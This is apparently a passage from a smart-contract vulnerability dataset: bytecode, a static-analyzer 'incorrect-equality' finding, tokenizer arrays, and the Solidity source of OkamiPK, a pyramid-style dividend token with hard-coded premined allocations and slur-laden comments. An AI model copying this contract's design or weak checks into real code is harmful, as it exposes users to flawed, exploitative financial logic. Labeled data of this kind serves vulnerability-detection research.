610bc357506001600160a01b03821660009081526003602052604090205460ff161515600114155b15610c1457600280546001810182556000919091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace0180546001600160a01b0319166001600160a01b0384161790555b60115460ff168015610c335750600d546001600160a01b038481169116145b8015610c4157506010546001145b15610cba5760005b600254811015610cb85760146004600060028481548110610c6c57610c6c610fd7565b60009182526020808320909101546001600160a01b0316835282019290925260400181208054909190610ca0908490610fed565b90915550819050610cb08161100f565b915050610c49565b505b426008541480610ccc575060115460ff165b8015610d05575060036000610ce16001610db7565b6001600160a01b0316815260208101919091526040016000205460ff161515600114155b8015610d1357506001601254115b610d1e576001610d21565b60075b60ff1660046000610d326001610db7565b6001600160a01b03166001600160a01b031681526020019081526020016000206000828254610d619190610fed565b90915550504260085560128054906000610d7a8361100f565b909155505060115460ff1615610db257610d946000610db7565b6001600160a01b0316836001600160a01b03161415610db257600080fd5b505050565b6000600160125411610dca576000610e0c565b60028054600190610ddc908590610fa8565b610de69190610fa8565b81548110610df657610df6610fd7565b6000918252602090912001546001600160a01b03165b92915050565b600060208083528351808285015260005b81811015610e3f57858101830151858201604001528201610e23565b81811115610e51576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610e7e57600080fd5b919050565b60008060408385031215610e9657600080fd5b610e9f83610e67565b946020939093013593505050565b600080600060608486031215610ec257600080fd5b610ecb84610e67565b9250610ed960208501610e67565b9150604084013590509250925092565b600060208284031215610efb57600080fd5b5035919050565b600060208284031215610f1457600080fd5b610f1d82610e67565b9392505050565b60008060408385031215610f3757600080fd5b610f4083610e67565b9150610f4e60208401610e67565b90509250929050565b600181811c90821680610f6b57607f821691505b60208210811415610f8c57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082821015610fba57610fba610f92565b500390565b60008219821115610fd257610fd2610f92565b500190565b634e487b7160e01b600052603260045260246000fd5b60008261100a57634e487b7160e01b600052601260045260246000fd5b500490565b600060001982141561102357611023610f92565b506001019056fea2646970667358221220e764a6543a0227626622eb18eac73f590158147912cd43b4f4ad6d43fd5ab13064736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 23352, 23499, 22394, 8586, 2581, 2546, 2094, 2475, 2063, 25746, 23632, 2050, 29097, 2063, 2692, 14141, 7011, 26224, 2063, 2683, 2278, 2546, 2094, 23499, 2581, 2278, 2575, 2487, 1013, 1013, 1030, 11573, 7245, 24108, 2140, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 1035, 5796, 2290, 2850, 2696, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 27507, 2655, 2850, 2696, 1007, 1063, 2023, 1025, 2709, 5796, 2290, 1012, 2951, 1025, 1065, 1065, 8278, 8909, 10288, 21450, 1063, 3853, 3443, 4502, 4313, 1006, 4769, 19204, 2050, 1010, 4769, 19204, 2497, 1007, 6327, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,776
0x97550CE17666bB49349EF0E50f9fDb88353EDb64
pragma solidity ^0.4.24; // File: contracts/library/SafeMath.sol /** * @title SafeMath v0.1.9 * @dev Math operations with safety checks that throw on error * change notes: original SafeMath library from OpenZeppelin modified by Inventor * - added sqrt * - added sq * - added pwr * - changed asserts to requires with error log outputs * - removed div, its useless */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } /** * @dev gives square root of given x. */ function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } /** * @dev gives square. multiplies x by x */ function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } /** * @dev x to the power of y */ function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } } // File: contracts/Hourglass.sol /* __ __ __ .-----| |--.---.-.--------|__.-----| |--. | _ | <| _ | | | _ | < |_____|__|__|___._|__|__|__|__| __|__|__| |__| */ contract Hourglass { /*================================= = MODIFIERS = =================================*/ // only people with tokens modifier onlyBagholders() { require(myTokens() > 0); _; } // only people with profits modifier onlyStronghands() { require(myDividends(true) > 0); _; } // administrators can: // -> change the name of the contract // -> change the name of the token // -> change the PoS difficulty (How many tokens it costs to hold a masternode, in case it gets crazy high later) // they CANNOT: // -> take funds // -> disable withdrawals // -> kill the contract // -> change the price of tokens modifier onlyAdministrator(){ //bytes32 name = keccak256(msg.sender); require(administrators[msg.sender], "must in administrators"); _; } modifier ceilingNotReached() { require(okamiCurrentPurchase_ < okamiTotalPurchase_); _; } modifier isActivated() { require(activated == true, "its not ready yet"); _; } modifier isInICO() { require(inICO == true, "its not in ICO."); _; } modifier isNotInICO() { require(inICO == false, "its not in ICO."); _; } /** * @dev prevents contracts from interacting with */ modifier isHuman() { address _addr = msg.sender; require (_addr == tx.origin); uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } /*============================== = EVENTS = ==============================*/ event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); // ERC20 event Transfer( address indexed from, address indexed to, uint256 tokens ); /*===================================== = CONFIGURABLES = =====================================*/ string public name = "OkamiPK"; string public symbol = "OPK"; uint8 constant public decimals = 18; uint8 constant internal dividendFee_ = 10; uint256 constant internal tokenPriceInitial_ = 0.0007 ether; //0.0000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether; uint256 constant internal magnitude = 2**64; uint256 constant public icoPrice_ = 0.002 ether; // proof of stake (defaults at 100 tokens) uint256 public stakingRequirement = 100e18; // ambassador program //todo uint256 constant public okamiMinPurchase_ = 5 ether; uint256 constant public okamiMaxPurchase_ = 10 ether; uint256 constant public okamiTotalPurchase_ = 500 ether; mapping(address => uint256) internal okamis_; uint256 public okamiCurrentPurchase_ = 0; bool public inICO = false; bool public activated = false; /*================================ = DATASETS = ================================*/ // amount of shares for each address (scaled number) //TODO: public->internal mapping(address => uint256) public tokenBalanceLedger_; mapping(address => uint256) public referralBalance_; mapping(address => int256) public payoutsTo_; uint256 internal tokenSupply_ = 0; uint256 internal profitPerShare_; // administrator list (see above on what they can do) mapping(address => bool) public administrators; // okami //TODO: public->internal mapping(address => uint256) public okamiFunds_; /*======================================= = PUBLIC FUNCTIONS = =======================================*/ /* * -- APPLICATION ENTRY POINTS -- */ constructor() public { // add administrators here //TODO: //administrators[0x00D8E8CCb4A29625D299798036825f3fa349f2b4] = true; // administrators[0x00A32C09c8962AEc444ABde1991469eD0a9ccAf7] = true; administrators[0x00aBBff93b10Ece374B14abb70c4e588BA1F799F] = true; //TODO: uint256 count = SafeMath.mul(SafeMath.div(10**18, icoPrice_), 10**18); tokenBalanceLedger_[0x0a3Ed0E874b4E0f7243937cD0545bFEcBa0f4548] = 50*count; tokenSupply_ = SafeMath.add(tokenSupply_, 50*count); tokenBalanceLedger_[0x00c9d3bd82fEa0464DC284Ca870A76eE7386C63d] = 30*count; tokenSupply_ = SafeMath.add(tokenSupply_, 30*count); tokenBalanceLedger_[0x00De30E1A0E82750ea1f96f6D27e112f5c8A352D] = 10*count; tokenSupply_ = SafeMath.add(tokenSupply_, 10*count); tokenBalanceLedger_[0x0070349db8EF73DeF5A1Aa838B7d81FD0742867b] = 4*count; tokenSupply_ = SafeMath.add(tokenSupply_, 4*count); // tokenBalanceLedger_[0x26042eb2f06D419093313ae2486fb40167Ba349C] = 1*count; tokenSupply_ = SafeMath.add(tokenSupply_, 1*count); tokenBalanceLedger_[0x8d60d529c435e2A4c67FD233c49C3F174AfC72A8] = 1*count; tokenSupply_ = SafeMath.add(tokenSupply_, 1*count); tokenBalanceLedger_[0xF9f24b9a5FcFf3542Ae3361c394AD951a8C0B3e1] = 1*count; tokenSupply_ = SafeMath.add(tokenSupply_, 1*count); tokenBalanceLedger_[0x9ca974f2c49d68bd5958978e81151e6831290f57] = 1*count; tokenSupply_ = SafeMath.add(tokenSupply_, 1*count); tokenBalanceLedger_[0xf22978ed49631b68409a16afa8e123674115011e] = 1*count; tokenSupply_ = SafeMath.add(tokenSupply_, 1*count); tokenBalanceLedger_[0x00b22a1D6CFF93831Cf2842993eFBB2181ad78de] = 1*count; tokenSupply_ = SafeMath.add(tokenSupply_, 1*count); } function activate() onlyAdministrator() public { // can only be ran once require(activated == false, "already activated"); // activate the contract activated = true; inICO = true; } function endICO() onlyAdministrator() public { // can only be ran once require(inICO == true, "must true before"); inICO = false; } /** * Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any) */ function buy(address _referredBy) isActivated() isHuman() public payable returns(uint256) { if( inICO){ purchaseTokensInICO(msg.value, _referredBy); }else{ purchaseTokens(msg.value, _referredBy); } } /** * Fallback function to handle ethereum that was send straight to the contract * Unfortunately we cannot use a referral address this way. */ function() isActivated() isHuman() payable public { if( inICO){ purchaseTokensInICO(msg.value, 0x0); }else{ purchaseTokens(msg.value, 0x0); } } /** * Converts all of caller's dividends to tokens. */ function reinvest() onlyStronghands() public { // fetch dividends uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code // pay out the dividends virtually address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // retrieve ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // dispatch a buy order with the virtualized "withdrawn dividends" uint256 _tokens = purchaseTokens(_dividends, 0x0); // fire event emit onReinvestment(_customerAddress, _dividends, _tokens); } /** * Alias of sell() and withdraw(). */ function exit() public { // ` token count for caller & sell them all address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if(_tokens > 0) sell(_tokens); // lambo delivery service withdraw(); } /** * Withdraws all of the callers earnings. */ function withdraw() onlyStronghands() public { // setup data address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); // get ref. bonus later in the code // update dividend tracker payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // add ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // lambo delivery service _customerAddress.transfer(_dividends); // fire event emit onWithdraw(_customerAddress, _dividends); } /** * Liquifies tokens to ethereum. */ function sell(uint256 _amountOfTokens) isNotInICO() onlyBagholders() public { // setup data address _customerAddress = msg.sender; // russian hackers BTFO require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); // burn the sold tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); // update dividends tracker int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; // dividing by zero is a bad idea if (tokenSupply_ > 0) { // update the amount of dividends per token profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } // fire event emit onTokenSell(_customerAddress, _tokens, _taxedEthereum); } /** * Transfer tokens from the caller to a new holder. * Remember, there's a 10% fee here as well. */ function transfer(address _toAddress, uint256 _amountOfTokens) isNotInICO() onlyBagholders() public returns(bool) { // setup address _customerAddress = msg.sender; // make sure we have the requested tokens // also disables transfers until ico phase is over // ( we dont want whale premines ) require(!inICO && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]); // withdraw all outstanding dividends first if(myDividends(true) > 0) withdraw(); // liquify 10% of the tokens that are transfered // these are dispersed to shareholders uint256 _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_); uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee); uint256 _dividends = tokensToEthereum_(_tokenFee); // burn the fee tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee); // exchange tokens tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens); // update dividend trackers payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens); // disperse dividends among holders profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); // fire event emit Transfer(_customerAddress, _toAddress, _taxedTokens); // ERC20 return true; } /** * In case one of us dies, we need to replace ourselves. */ function setAdministrator(address _identifier, bool _status) onlyAdministrator() public { administrators[_identifier] = _status; } /** * Precautionary measures in case we need to adjust the masternode rate. */ function setStakingRequirement(uint256 _amountOfTokens) onlyAdministrator() public { stakingRequirement = _amountOfTokens; } /** * If we want to rebrand, we can. */ function setName(string _name) onlyAdministrator() public { name = _name; } /** * If we want to rebrand, we can. */ function setSymbol(string _symbol) onlyAdministrator() public { symbol = _symbol; } /*---------- HELPERS AND CALCULATORS ----------*/ /** * Method to view the current Ethereum stored in the contract * Example: totalEthereumBalance() */ function totalEthereumBalance() public view returns(uint) { return address(this).balance; } /** * Retrieve the total token supply. */ function totalSupply() public view returns(uint256) { return tokenSupply_; } /** * Retrieve the tokens owned by the caller. */ function myTokens() public view returns(uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } /** * Retrieve the dividends owned by the caller. * If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations. * The reason for this, is that in the frontend, we will want to get the total divs (global + ref) * But in the internal calculations, we want them separate. */ function myDividends(bool _includeReferralBonus) public view returns(uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } /** * Retrieve the token balance of any single address. */ function balanceOf(address _customerAddress) view public returns(uint256) { return tokenBalanceLedger_[_customerAddress]; } /** * Retrieve the dividend balance of any single address. */ function dividendsOf(address _customerAddress) view public returns(uint256) { return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } /** * Return the buy price of 1 individual token. */ function sellPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ ); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } /** * Return the sell price of 1 individual token. */ function buyPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ ); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } /** * Function for the frontend to dynamically retrieve the price scaling of buy orders. */ function calculateTokensReceived(uint256 _ethereumToSpend) public view returns(uint256) { uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } /** * Function for the frontend to dynamically retrieve the price scaling of sell orders. */ function calculateEthereumReceived(uint256 _tokensToSell) public view returns(uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } function purchaseTokensInICO(uint256 _incomingEthereum, address _referredBy) isInICO() ceilingNotReached() internal returns(uint256) { address _customerAddress = msg.sender; uint256 _oldFundETH = okamiFunds_[_customerAddress]; require(_incomingEthereum > 0, "no money"); require( (_oldFundETH >= okamiMinPurchase_) || _incomingEthereum >= okamiMinPurchase_, "min 5 eth"); require(SafeMath.add(_oldFundETH, _incomingEthereum) <= okamiMaxPurchase_, "max 10 eth"); uint256 _newFundETH = _incomingEthereum; if( SafeMath.add(_newFundETH, okamiCurrentPurchase_) > okamiTotalPurchase_){ _newFundETH = SafeMath.sub(okamiTotalPurchase_, okamiCurrentPurchase_); msg.sender.transfer(SafeMath.sub(_incomingEthereum, _newFundETH)); } uint256 _amountOfTokens = SafeMath.mul(SafeMath.div(_newFundETH, icoPrice_), 10**18); // add tokens to the pool tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); // update circulating supply & the ledger address for the customer tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); okamiFunds_[_customerAddress] = SafeMath.add(okamiFunds_[_customerAddress], _newFundETH); okamiCurrentPurchase_ = SafeMath.add(okamiCurrentPurchase_, _newFundETH); if( okamiCurrentPurchase_ >= okamiTotalPurchase_){ inICO = false; } // fire event emit onTokenPurchase(_customerAddress, _newFundETH, _amountOfTokens, _referredBy); } /*========================================== = INTERNAL FUNCTIONS = ==========================================*/ function purchaseTokens(uint256 _incomingEthereum, address _referredBy) isNotInICO() internal returns(uint256) { // data setup address _customerAddress = msg.sender; uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_); uint256 _referralBonus = SafeMath.div(_undividedDividends, 3); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; // no point in continuing execution if OP is a poorfag russian hacker // prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world // (or hackers) // and yes we know that the safemath function automatically rules out the "greater then" equasion. require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_)); // is the user referred by a masternode? if( // is this a referred purchase? _referredBy != 0x0000000000000000000000000000000000000000 && // no cheating! _referredBy != _customerAddress && // does the referrer have at least X whole tokens? // i.e is the referrer a godly chad masternode tokenBalanceLedger_[_referredBy] >= stakingRequirement ){ // wealth redistribution referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { // no ref purchase // add the referral bonus back to the global dividends cake _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } // we can't give people infinite ethereum if(tokenSupply_ > 0){ // add tokens to the pool tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); // take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder profitPerShare_ += (_dividends * magnitude / (tokenSupply_)); // calculate the amount of tokens the customer receives over his purchase _fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_)))); } else { // add tokens to the pool tokenSupply_ = _amountOfTokens; } // update circulating supply & the ledger address for the customer tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); // Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them; //really i know you think you do but you don't int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee); payoutsTo_[_customerAddress] += _updatedPayouts; // fire event emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy); return _amountOfTokens; } /** * Calculate Token price based on an amount of incoming ethereum * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function ethereumToTokens_(uint256 _ethereum) internal view returns(uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( // underflow attempts BTFO SafeMath.sub( (sqrt ( (_tokenPriceInitial**2) + (2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18)) + (((tokenPriceIncremental_)**2)*(tokenSupply_**2)) + (2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) )/(tokenPriceIncremental_) )-(tokenSupply_) ; return _tokensReceived; } /** * Calculate token sell value. * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function tokensToEthereum_(uint256 _tokens) internal view returns(uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( // underflow attempts BTFO SafeMath.sub( ( ( ( tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)) )-tokenPriceIncremental_ )*(tokens_ - 1e18) ),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2 ) /1e18); return _etherReceived; } //This is where all your gas goes, sorry //Not sorry, you probably only paid 1 gwei function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } }
0x6080604052600436106101d65763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166265318b81146102d057806306fdde03146103035780630f15f4c01461038d57806310d0ffdd146103a457806312f6e641146103bc57806318160ddd146103d1578063186601ca146103e6578063226093731461040f578063313ce567146104275780633ccfd60b146104525780634b750334146104675780634f2484091461047c57806356d399e81461049157806357b473e2146104a65780635c5a0a9d146104bb57806364506302146104dc578063688abbf7146104f15780636b2f46321461050b57806370a082311461052057806376be1585146105415780638328b610146105625780638620410b1461057a57806387c950581461058f578063949e8acd146105b557806395d89b41146105ca5780639eb4da1c146105df578063a9059cbb146105f4578063b84af27214610618578063b84c824614610639578063ba773a7014610692578063c47f0027146106a7578063c664f7f114610700578063e1456cb414610721578063e4849b3214610742578063e9fad8ee1461075a578063f088d5471461076f578063f468e9b314610783578063fdb5a03e14610798575b60055460ff61010090910416151560011461023b576040805160e560020a62461bcd02815260206004820152601160248201527f697473206e6f7420726561647920796574000000000000000000000000000000604482015290519081900360640190fd5b33600032821461024a57600080fd5b50803b80156102a3576040805160e560020a62461bcd02815260206004820152601160248201527f736f7272792068756d616e73206f6e6c79000000000000000000000000000000604482015290519081900360640190fd5b60055460ff16156102bf576102b93460006107ad565b506102cc565b6102ca346000610afb565b505b5050005b3480156102dc57600080fd5b506102f1600160a060020a0360043516610dcf565b60408051918252519081900360200190f35b34801561030f57600080fd5b50610318610e0a565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561035257818101518382015260200161033a565b50505050905090810190601f16801561037f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561039957600080fd5b506103a2610e98565b005b3480156103b057600080fd5b506102f1600435610f69565b3480156103c857600080fd5b506102f1610f9e565b3480156103dd57600080fd5b506102f1610faa565b3480156103f257600080fd5b506103fb610fb1565b604080519115158252519081900360200190f35b34801561041b57600080fd5b506102f1600435610fbf565b34801561043357600080fd5b5061043c610ff8565b6040805160ff9092168252519081900360200190f35b34801561045e57600080fd5b506103a2610ffd565b34801561047357600080fd5b506102f16110d0565b34801561048857600080fd5b506103a2611126565b34801561049d57600080fd5b506102f16111e8565b3480156104b257600080fd5b506102f16111ee565b3480156104c757600080fd5b506102f1600160a060020a03600435166111fa565b3480156104e857600080fd5b506102f161120c565b3480156104fd57600080fd5b506102f16004351515611212565b34801561051757600080fd5b506102f1611255565b34801561052c57600080fd5b506102f1600160a060020a036004351661125a565b34801561054d57600080fd5b506103fb600160a060020a0360043516611275565b34801561056e57600080fd5b506103a260043561128a565b34801561058657600080fd5b506102f16112e6565b34801561059b57600080fd5b506103a2600160a060020a03600435166024351515611330565b3480156105c157600080fd5b506102f16113b2565b3480156105d657600080fd5b506103186113c5565b3480156105eb57600080fd5b506102f161141f565b34801561060057600080fd5b506103fb600160a060020a036004351660243561142c565b34801561062457600080fd5b506102f1600160a060020a0360043516611633565b34801561064557600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526103a29436949293602493928401919081908401838280828437509497506116459650505050505050565b34801561069e57600080fd5b506102f16116b3565b3480156106b357600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526103a29436949293602493928401919081908401838280828437509497506116be9650505050505050565b34801561070c57600080fd5b506102f1600160a060020a0360043516611728565b34801561072d57600080fd5b506102f1600160a060020a036004351661173a565b34801561074e57600080fd5b506103a260043561174c565b34801561076657600080fd5b506103a26118ea565b6102f1600160a060020a0360043516611913565b34801561078f57600080fd5b506103fb611a0f565b3480156107a457600080fd5b506103a2611a18565b600554600090819081908190819060ff161515600114610805576040805160e560020a62461bcd02815260206004820152600f6024820152600080516020611e0c833981519152604482015290519081900360640190fd5b600454681b1ae4d6e2ef5000001161081c57600080fd5b336000818152600c60205260408120549195509093508711610888576040805160e560020a62461bcd02815260206004820152600860248201527f6e6f206d6f6e6579000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b674563918244f40000831015806108a75750674563918244f400008710155b15156108fd576040805160e560020a62461bcd02815260206004820152600960248201527f6d696e2035206574680000000000000000000000000000000000000000000000604482015290519081900360640190fd5b678ac7230489e800006109108489611ace565b1115610966576040805160e560020a62461bcd02815260206004820152600a60248201527f6d61782031302065746800000000000000000000000000000000000000000000604482015290519081900360640190fd5b869150681b1ae4d6e2ef50000061097f83600454611ace565b11156109d45761099a681b1ae4d6e2ef500000600454611b2f565b9150336108fc6109aa8985611b2f565b6040518115909202916000818181858888f193505050501580156109d2573d6000803e3d6000fd5b505b6109f66109e88366071afd498d0000611b8f565b670de0b6b3a7640000611ba6565b9050610a0460095482611ace565b600955600160a060020a038416600090815260066020526040902054610a2a9082611ace565b600160a060020a038516600090815260066020908152604080832093909355600c90522054610a599083611ace565b600160a060020a0385166000908152600c6020526040902055600454610a7f9083611ace565b6004819055681b1ae4d6e2ef50000011610a9e576005805460ff191690555b85600160a060020a031684600160a060020a03167f022c0d992e4d873a3748436d960d5140c1f9721cf73f7ca5ec679d3d9f4fe2d58484604051808381526020018281526020019250505060405180910390a35050505092915050565b6005546000908190819081908190819081908190819060ff1615610b57576040805160e560020a62461bcd02815260206004820152600f6024820152600080516020611e0c833981519152604482015290519081900360640190fd5b339750610b658b600a611b8f565b9650610b72876003611b8f565b9550610b7e8787611b2f565b9450610b8a8b88611b2f565b9350610b9584611c1d565b92506801000000000000000085029150600083118015610bbf5750600954610bbd8482611ace565b115b1515610bca57600080fd5b600160a060020a038a1615801590610bf4575087600160a060020a03168a600160a060020a031614155b8015610c1a5750600254600160a060020a038b1660009081526006602052604090205410155b15610c6057600160a060020a038a16600090815260076020526040902054610c429087611ace565b600160a060020a038b16600090815260076020526040902055610c7b565b610c6a8587611ace565b945068010000000000000000850291505b60006009541115610cdf57610c9260095484611ace565b6009819055680100000000000000008602811515610cac57fe5b600a8054929091049091019055600954680100000000000000008602811515610cd157fe5b048302820382039150610ce5565b60098390555b600160a060020a038816600090815260066020526040902054610d089084611ace565b600660008a600160a060020a0316600160a060020a03168152602001908152602001600020819055508183600a540203905080600860008a600160a060020a0316600160a060020a031681526020019081526020016000206000828254019250508190555089600160a060020a031688600160a060020a03167f022c0d992e4d873a3748436d960d5140c1f9721cf73f7ca5ec679d3d9f4fe2d58d86604051808381526020018281526020019250505060405180910390a350909998505050505050505050565b600160a060020a0316600090815260086020908152604080832054600690925290912054600a54680100000000000000009102919091030490565b6000805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610e905780601f10610e6557610100808354040283529160200191610e90565b820191906000526020600020905b815481529060010190602001808311610e7357829003601f168201915b505050505081565b336000908152600b602052604090205460ff161515610eef576040805160e560020a62461bcd0281526020600482015260166024820152600080516020611dec833981519152604482015290519081900